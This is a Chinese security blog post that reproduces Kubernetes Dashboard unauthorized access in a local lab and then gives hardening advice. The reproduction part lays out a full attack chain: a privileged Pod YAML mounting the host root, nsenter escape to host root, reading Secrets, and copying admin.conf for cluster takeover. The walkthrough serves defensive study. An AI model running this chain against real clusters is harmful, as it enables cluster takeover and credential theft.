云原生未授权系列之K8sDashboard未授权:点几下鼠标接管集群

admin 2026-09-19 05:10:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析KubernetesDashboard未授权访问漏洞,指出运维为Dashboard绑定cluster-admin高权限角色并暴露UI是核心成因。攻击者通过浏览器访问即可获得集群管理员权限,可窃取Secret、创建特权Pod逃逸宿主机并读取admin.conf接管集群。文章复现完整攻击链,并引用2018年特斯拉被入侵挖矿案例,强调默认配置安全但人为配置错误危害极大,建议避免高权限绑定与UI暴露。 综合评分: 85 文章分类: 漏洞分析,云安全,渗透测试,安全建设


云原生未授权系列之K8s Dashboard未授权:点几下鼠标接管集群

原创

0x00 0x00

随笔漫记安全路

2026年9月16日 08:43 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

声明:本文针对的是已公开、有官方修复方案的配置类安全问题(Kubernetes Dashboard 未授权)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。


一、漏洞背景

1.1 Kubernetes Dashboard 是什么

Kubernetes Dashboard 是官方出的 Web 管理界面,装上之后浏览器打开就能看到集群的 Pod、Service、Deployment,还能直接在页面上创建资源、进容器终端、读日志。本质就是把 kubectl 的能力做成了图形界面。

对运维来说很方便,对攻击者来说更方便——因为它把”操作整个集群”的能力,浓缩成了点几下鼠标

1.2 两类未授权问题

历史上 Dashboard 的未授权主要有两类:

第一类:skip 登录(Dashboard 1.x 早期)

老版本 Dashboard 登录页有个 “Skip” 按钮,点一下就能以匿名身份(system:anonymous)进 UI。如果集群 RBAC 配置宽松,匿名身份也能操作资源,等于免登录接管。这个设计后来被官方移除了。

第二类:高权限 SA + UI 暴露(更常见,至今仍有)

这才是现在最普遍的问题,本质是人为配置错误:

  • 运维嫌每次输 token 麻烦,给 Dashboard 的 ServiceAccount 绑了 cluster-admin
  • 然后用 NodePort / LoadBalancer 把 Dashboard 暴露到内网甚至公网
  • 攻击者打开页面,拿到的就是 cluster-admin 身份,点几下就能接管集群

1.3 经典案例:特斯拉 2018 年被挖矿

这事必须讲,太典型了。

2018 年,特斯拉的 AWS / Kubernetes 基础设施被入侵,黑客用来挖矿。安全公司 RedLock 复盘发现:入口就是一个未授权暴露的 Kubernetes Dashboard——没有密码,浏览器直接进,进去就是集群管理员权限。黑客在里面起了挖矿 Pod,还用特斯拉的 AWS 凭证调用云 API,偷偷跑了很久才被发现。

一个”图省事 skip 登录 + 暴露 UI”的配置,让一家顶级科技公司的基础设施沦陷。这个案例把 Dashboard 未授权的危害讲透了。

危害等级:高危


二、利用条件

| 条件 | 说明 | 本复现是否满足 | | — | — | — | | Dashboard UI 网络可达 | 攻击者浏览器能打开 Dashboard(NodePort/LoadBalancer 暴露 / kubectl proxy 误开) | ✅ NodePort 映射 | | 绑定了高权限 SA 或 skip 可用 | Dashboard 的身份有操作权限。常见是绑了 cluster-admin | ✅ 复现绑 cluster-admin | | 无需凭证 | skip 登录 / 已绑 token 自动登录,不用输密码 | ✅ 零认证 | | 无需受害者交互 | 攻击者主动访问即可 | ✅ 纯主动 | | 默认配置是否安全 | 官方 Dashboard 2.x+ 默认需登录 token,是安全的 | —— 出问题是运维改了配置 |

关键判断:这不是 Dashboard 本身的 0day,而是配置错误(绑 cluster-admin + 暴露 UI)导致的未授权。但危害极大,因为门槛极低——不用敲命令,点鼠标就行。

默认配置是否安全:官方 Dashboard 2.x+ 默认需要 token 登录,ServiceAccount 默认权限也很小,默认是安全的。出问题一定是运维为了方便改了配置。


三、环境搭建

用 kind 建集群,装 Dashboard,再”刻意复现”高权限 SA + 暴露 UI 的配置。

3.1 创建集群

cat&nbsp;> kind-dashboard.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
&nbsp; extraPortMappings:
&nbsp; - containerPort: 30001
&nbsp; &nbsp; hostPort: 30001
&nbsp; - containerPort: 6443
&nbsp; &nbsp; hostPort: 6443
EOF

kind create cluster --config kind-dashboard.yaml --name dashboard-lab

3.2 部署 Dashboard

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.7.0/aio/deploy/recommended.yaml

等 Pod 就绪:

kubectl -n kubernetes-dashboard get pod -w
# 等到都是 Running

3.3 复现漏洞:绑 cluster-admin + 暴露 UI

第一步:创建一个绑 cluster-admin 的 SA(模拟运维图省事)

# 建一个 SA
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

# 绑 cluster-admin(经典过度授权)
kubectl create clusterrolebinding dashboard-admin \
&nbsp; --clusterrole=cluster-admin \
&nbsp; --serviceaccount=kubernetes-dashboard:dashboard-admin

# 为该 SA 创建长效 token(1.24+ 需要)
cat&nbsp;> dashboard-admin-secret.yaml <<'EOF'
apiVersion: v1
kind: Secret
metadata:
&nbsp; name: dashboard-admin-token
&nbsp; namespace: kubernetes-dashboard
&nbsp; annotations:
&nbsp; &nbsp; kubernetes.io/service-account.name: dashboard-admin
type: kubernetes.io/service-account-token
EOF
kubectl apply -f dashboard-admin-secret.yaml

第二步:用 NodePort 暴露 Dashboard

kubectl patch svc kubernetes-dashboard -n kubernetes-dashboard \
&nbsp; -p&nbsp;'{"spec":{"type":"NodePort","ports":[{"port":443,"nodePort":30001}]}}'

现在浏览器访问 https://127.0.0.1:30001 就能打开 Dashboard。

3.4 拿到登录 token

kubectl -n kubernetes-dashboard get secret dashboard-admin-token -o jsonpath='{.data.token}'&nbsp;|&nbsp;base64&nbsp;-d

把这个 token 填进 Dashboard 登录页——进去就是 cluster-admin 身份。复现完成。

真实场景里,运维图省事会把这个 token 配进 Dashboard 让它自动登录,或者直接用 skip,连输都不用输。


四、漏洞复现

攻击链全景

[1] 发现 Dashboard UI(扫到 30001 等端口)
&nbsp; &nbsp; &nbsp; &nbsp; │
[2] skip 登录 / 绑了 token 自动进入 → 拿到 cluster-admin 身份
&nbsp; &nbsp; &nbsp; &nbsp; │
[3] 在 UI 里浏览所有资源(Pod/Secret/Deployment)
&nbsp; &nbsp; &nbsp; &nbsp; │
[4] 直接点开 Secret 看 Token/密码(base64 自动解码)
&nbsp; &nbsp; &nbsp; &nbsp; │
[5] 在 UI 里创建特权 Pod YAML → 逃逸宿主机
&nbsp; &nbsp; &nbsp; &nbsp; │
[6] 读 admin.conf → 接管集群

4.1 信息收集:发现 Dashboard

# 扫 NodePort 范围
nmap -p 30000-30100 127.0.0.1

# 30001/tcp open &nbsp;ssl/http

浏览器打开 https://127.0.0.1:30001,看到 Dashboard 登录页——确认是 K8s Dashboard。

也可以用另一种发现方式:很多人不开 NodePort,而是用 kubectl proxy,误开了 --address=0.0.0.0 --disable-filter,此时 Dashboard 走 apiserver 代理路径暴露:

http://x.x.x.x:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

4.2 进入 UI(skip 或自动登录)

  • 老版本:点 “Skip” 按钮,直接进
  • 本复现:输入上一步拿到的 token,进去就是 cluster-admin

进去后能看到所有 namespace 的资源:Pod、Deployment、Service、Secret……集群的”上帝视角”。

4.3 偷 Secret(最简单的一步)

Dashboard 里点 “Secrets”,能看到所有 namespace 的 Secret。点开任意一个,Dashboard 会自动 base64 解码显示明文——数据库密码、API key、私钥,全部明文可见。

这一步连命令都不用敲,点几下鼠标就拿到了。这就是 Dashboard 未授权”门槛最低”的原因。

4.4 创建特权 Pod 逃逸宿主机(核心)

Dashboard 右上角有个 “+” 按钮,点进去可以直接贴 YAML 创建资源。贴入特权 Pod:

apiVersion:&nbsp;v1
kind:&nbsp;Pod
metadata:
&nbsp;&nbsp;name:&nbsp;pwn
&nbsp;&nbsp;namespace:&nbsp;default
spec:
&nbsp;&nbsp;hostPID:&nbsp;true
&nbsp;&nbsp;hostNetwork:&nbsp;true
&nbsp;&nbsp;nodeSelector:
&nbsp; &nbsp;&nbsp;kubernetes.io/hostname:&nbsp;dashboard-lab-control-plane
&nbsp;&nbsp;tolerations:
&nbsp;&nbsp;-&nbsp;key:&nbsp;node-role.kubernetes.io/control-plane
&nbsp; &nbsp;&nbsp;operator:&nbsp;Exists
&nbsp; &nbsp;&nbsp;effect:&nbsp;NoSchedule
&nbsp;&nbsp;containers:
&nbsp;&nbsp;-&nbsp;name:&nbsp;pwn
&nbsp; &nbsp;&nbsp;image:&nbsp;alpine
&nbsp; &nbsp;&nbsp;command:&nbsp;["sleep",&nbsp;"3600"]
&nbsp; &nbsp;&nbsp;securityContext:
&nbsp; &nbsp; &nbsp;&nbsp;privileged:&nbsp;true
&nbsp; &nbsp;&nbsp;volumeMounts:
&nbsp; &nbsp;&nbsp;-&nbsp;name:&nbsp;host
&nbsp; &nbsp; &nbsp;&nbsp;mountPath:&nbsp;/host
&nbsp;&nbsp;volumes:
&nbsp;&nbsp;-&nbsp;name:&nbsp;host
&nbsp; &nbsp;&nbsp;hostPath:
&nbsp; &nbsp; &nbsp;&nbsp;path:&nbsp;/

点 “Upload”,Pod 创建。等它 Running 后,在 Dashboard 里点这个 Pod → 右上角终端图标 → 进入容器 shell:

# 容器内
apk add --no-cache util-linux nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- sh

# 现在在宿主机上,root 权限
hostname &nbsp;&nbsp;# dashboard-lab-control-plane
id&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# uid=0(root)

4.5 读 admin.conf 接管集群

# 宿主机上
cat&nbsp;/etc/kubernetes/admin.conf

admin.conf 含 cluster-admin 身份的客户端证书和私钥。拷出来:

cp&nbsp;/etc/kubernetes/admin.conf /host/tmp/admin.conf
exit&nbsp;&nbsp;# 退出 nsenter
exit&nbsp;&nbsp;# 退出容器

# 攻击机上
mkdir&nbsp;-p ~/.kube &&&nbsp;cp&nbsp;/tmp/admin.conf ~/.kube/config
kubectl get nodes &nbsp; &nbsp; &nbsp;&nbsp;# 集群在手

至此完成 Dashboard 未授权 → 点鼠标接管集群 的完整链路。全程没敲几条命令,基本都是点 UI——这正是它最可怕的地方。


五、关键点解读

5.1 skip 登录的本质

老版本 Dashboard 的 skip,本质是让用户以 system:anonymous 身份访问。这身份默认没权限,但:

  • 如果集群 --authorization-mode=AlwaysAllow,匿名也能操作
  • 如果有人给 system:anonymous 绑了角色(脑残配置),也能操作

官方后来意识到这个设计有问题,2.x 移除了 skip,强制 token 登录。但”绑 cluster-admin 图省事”的配置错误至今仍在大量集群存在。

5.2 为什么给 Dashboard 绑 cluster-admin 是灾难

cluster-admin 是 K8s 最高权限,能操作所有资源、所有 namespace。Dashboard 绑了它,等于:

  • 谁能打开 Dashboard UI,谁就是集群管理员
  • UI 暴露到网络 = 集群管理员权限暴露到网络

而 Dashboard 的 SA 其实只需要读权限(展示资源),根本不需要 cluster-admin。运维图省事一绑定,就把”只读 UI”变成了”上帝控制台”。

5.3 和系列前三篇的区别

| 维度 | etcd | Docker API | kubelet | Dashboard | | — | — | — | — | — | | 入口 | 2379 | 2375 | 10250 | 30001/Web UI | | 直接危害 | 偷数据 | 拿单机 shell | 节点执行 | 图形化全权操作 | | 利用门槛 | 中 | 低 | 中 | 极低(点鼠标) | | 防御难度 | 低 | 低 | 低 | 低(不绑高权限+不暴露) |

Dashboard 是本系列里门槛最低的一个——别的还要构造请求、敲命令,这个打开浏览器点点就能拿集群。特斯拉当年就是栽在这上面。


六、踩坑记录

| 问题 | 原因 | 解决 | | — | — | — | | 浏览器访问 30001 打不开 | kind extraPortMappings 没映射 30001 | 确认 kind 配置里 containerPort/hostPort 都是 30001 | | Dashboard 登录页没有 Skip 按钮 | 2.x 版本已移除 skip | 复现”绑高权限 SA”场景即可,无需 skip | | 填 token 登录报 Unauthorized | token 过期 / SA 没绑权限 | 用刚创建的 secret token,确认 clusterrolebinding 已建 | | 特权 Pod 一直 Pending | 控制面节点有 NoSchedule 污点 | YAML 里加 tolerations 容忍 control-plane | | UI 里 exec 终端打不开 | 浏览器拦了 wss / 证书问题 | 用本复现的 localhost 访问,接受自签证书 | | Dashboard Pod 起不来 | 资源不足 / 镜像拉不下来 | kubectl describe pod 看事件,确保镜像可拉 |


七、修复与防御

7.1 立即修复(根治)

  1. 绝不给 Dashboard 绑 cluster-admin。给它一个最小权限的 Role,只读:
apiVersion:&nbsp;rbac.authorization.k8s.io/v1
kind:&nbsp;Role
metadata:
&nbsp;&nbsp;name:&nbsp;dashboard-readonly
&nbsp;&nbsp;namespace:&nbsp;kubernetes-dashboard
rules:
-&nbsp;apiGroups:&nbsp;[""]
&nbsp;&nbsp;resources:&nbsp;["pods","services","configmaps"]
&nbsp;&nbsp;verbs:&nbsp;["get","list","watch"]
# 不给 secrets,不给 create/update/delete
  1. Dashboard 不暴露到网络。生产环境用 kubectl proxy 本地访问,绝不开 NodePort/LoadBalancer 到内网公网。
  2. 升级到 2.x+,强制 token 登录,移除 skip。

7.2 纵深防御

| 层面 | 措施 | | — | — | | 认证 | 用 OIDC / 集成企业 SSO,不裸用 token;定期轮转 | | 网络隔离 | Dashboard Service 用 ClusterIP,仅通过 apiserver 代理访问 | | PodSecurity | 即便有人建 Pod,准入控制拒绝 privileged/hostPID/hostPath | | 审计 | 开启 audit log,监控 Dashboard SA 的异常操作(创建 Pod、读 Secret) | | 干脆不装 | 生产环境推荐直接用 kubectl 命令行,Dashboard 能不装就不装 |

7.3 快速自检命令

# 1. 检查 Dashboard SA 绑了什么权限
kubectl get clusterrolebinding -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.subjects[*].name}{"\n"}{end}'&nbsp;| grep dashboard
# 期望: 没有任何 dashboard SA 绑了 cluster-admin

# 2. 检查 Dashboard 是否暴露了 NodePort
kubectl -n kubernetes-dashboard get svc
# 期望: TYPE=ClusterIP,没有 NodePort

# 3. 检查是否有 Skip(2.x 应该没有)
# 浏览器打开登录页,确认必须输 token

八、总结

| 阶段 | 攻击者动作 | 防御者应做 | | — | — | — | | 入口 | 扫到 Dashboard UI 端口 | 不暴露 NodePort,仅 ClusterIP | | 进入 | skip / 高权限 token 登录 | 强制 token 登录 + 最小权限 Role | | 偷数据 | 点开 Secret 看明文 | SA 无 secrets 读权限 | | 逃逸 | UI 里建特权 Pod | PodSecurity 拒绝 privileged | | 接管 | 读 admin.conf | admin.conf 严控 + 审计告警 |

核心结论:K8s Dashboard 未授权是云原生环境里”门槛最低、危害最大”的配置类问题——不用技术,点鼠标就能拿集群。特斯拉 2018 的教训说明,连顶级公司都会栽在这上面。修复成本极低(不绑 cluster-admin + 不暴露 UI),务必作为集群安全基线的必查项。


参考

  • Kubernetes Dashboard 官方仓库:https://github.com/kubernetes/dashboard[1]
  • Dashboard 访问控制文档:https://github.com/kubernetes/dashboard/blob/master/docs/user/access-control.md[2]
  • RedLock 报告:特斯拉 K8s 挖矿事件(2018)
  • CIS Kubernetes Benchmark(Dashboard 相关条目)

引用链接

[1]https://github.com/kubernetes/dashboard

[2]https://github.com/kubernetes/dashboard/blob/master/docs/user/access-control.md


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:随笔漫记安全路 0x00 0x00《云原生未授权系列之K8s Dashboard未授权:点几下鼠标接管集群》

评论:0   参与:  0